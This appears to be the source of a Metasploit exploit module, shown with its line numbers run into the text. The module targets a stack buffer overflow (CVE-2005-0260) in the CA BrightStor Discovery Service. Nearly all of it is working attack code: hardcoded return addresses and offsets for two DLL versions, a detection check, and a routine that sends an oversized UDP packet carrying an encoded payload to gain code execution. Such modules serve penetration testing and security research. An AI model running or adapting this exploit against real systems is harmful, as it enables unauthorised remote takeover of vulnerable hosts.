Path: blob/master/modules/exploits/windows/brightstor/discovery_udp.rb
33119 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Udp1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'CA BrightStor Discovery Service Stack Buffer Overflow',16'Description' => %q{17This module exploits a vulnerability in the CA BrightStor18Discovery Service. This vulnerability occurs when a large19request is sent to UDP port 41524, triggering a stack buffer20overflow.21},22'Author' => [ 'hdm', 'aushack' ],23'License' => MSF_LICENSE,24'References' => [25[ 'CVE', '2005-0260'],26[ 'OSVDB', '13613'],27[ 'BID', '12491'],28[ 'URL', 'http://www.idefense.com/application/poi/display?id=194&type=vulnerabilities'],29],30'Privileged' => true,31'Payload' => {32'Space' => 2048,33'BadChars' => "\x00",34'StackAdjustment' => -350035},36'Targets' => [37[38'cheyprod.dll 12/12/2003',39{40'Platform' => 'win',41'Ret' => 0x23808eb0, # call to edi reg42'Offset' => 96843},44],45[46'cheyprod.dll 07/21/2004',47{48'Platform' => 'win',49'Ret' => 0x2380a908, # call edi50'Offset' => 97051},52],53],54'DisclosureDate' => '2004-12-20',55'DefaultTarget' => 0,56'Notes' => {57'Reliability' => UNKNOWN_RELIABILITY,58'Stability' => UNKNOWN_STABILITY,59'SideEffects' => UNKNOWN_SIDE_EFFECTS60}61)62)6364register_options(65[66Opt::RPORT(41524)67]68)69end7071def check72# The first request should have no reply73csock = Rex::Socket::Tcp.create(74'PeerHost' => datastore['RHOST'],75'PeerPort' => 41523,76'Context' =>77{78'Msf' => framework,79'MsfExploit' => self80}81)8283csock.put('META')84x = csock.get_once(-1, 3)85csock.close8687# The second request should be replied with the host name88csock = Rex::Socket::Tcp.create(89'PeerHost' => datastore['RHOST'],90'PeerPort' => 41523,91'Context' =>92{93'Msf' => framework,94'MsfExploit' => self95}96)9798csock.put('hMETA')99y = csock.get_once(-1, 3)100csock.close101102if (y and !x)103return Exploit::CheckCode::Detected104end105106return Exploit::CheckCode::Safe107end108109def exploit110connect_udp111112print_status("Trying target #{target.name}...")113114buf = rand_text_english(4096)115116# Target 0:117#118# esp @ 971119# ret @ 968120# edi @ 1046121# end = 4092122123buf[target['Offset'], 4] = [ target.ret ].pack('V')124buf[1046, payload.encoded.length] = payload.encoded125126udp_sock.put(buf)127udp_sock.recvfrom(8192)128129handler130disconnect_udp131end132end133134135